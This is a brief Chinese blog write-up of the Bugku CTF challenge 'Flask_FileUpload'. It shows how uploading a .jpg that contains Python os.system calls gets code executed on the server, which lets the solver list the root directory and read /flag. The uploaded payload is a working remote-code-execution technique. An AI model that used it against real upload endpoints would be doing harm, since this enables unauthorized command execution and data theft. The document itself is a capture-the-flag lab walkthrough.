技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
充钱大佬
21 小时前
Python测试基础教程
python·log4j·apache
不听话坏
21 小时前
Ignition篇(下 一) 动态执行前的事情
开发语言·前端·javascript
likeyi07
21 小时前
require 和 import的区别
开发语言·前端
pany
1 天前
做 AI 友好的开源 Vue3 模板 🌈
前端·vue.js·ai编程
小二·
1 天前
React 19 + Next.js 15 现代前端开发实战:App Router / Server Components / 流式渲染
前端·javascript·react.js
初心丨哈士奇
1 天前
Python 四大基础容器|列表篇
python
谙忆1024
1 天前
前端图片直传对象存储:OSS/S3 预签名 URL、STS 临时凭证与回调校验
前端
明理的信封
1 天前
AI 基础设施的“去 Python 化“:Rust 与 C# 的两条替代路径
人工智能·python·rust
CHNE_TAO_EMSM
1 天前
Android studio 打开文件时自动下载源码
前端·javascript·android studio
一孤程
1 天前
Airtest自动化测试第五篇:小程序与Web测试——跨平台自动化全覆盖
前端·自动化测试·小程序·自动化·测试·airtest
热门推荐
01GitHub 镜像站点02AI科技热点日报 | 2026年07月01日03幻兽帕鲁 - 服务器管理员权限与 GM 命令完全指南042026 年 AI 编程工具终极横评:Cursor vs Claude Code vs Copilot vs Windsurf052026年7月AI圈大地震:GPT-5.6被政府限制、Claude入驻Slack、Anthropic自研芯片062026 AI 编程工具终极实战指南:Cursor vs Claude Code vs Copilot,开发者该怎么选?07AI 编程 IDE 全景解析 2026:Agent 全面接管开发链路082026 年 AI 大模型 & AI 编程工具实战全总结092026 国产 AI 大模型横评:DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打?10【AI】2026 年具身智能模型和世界模型总结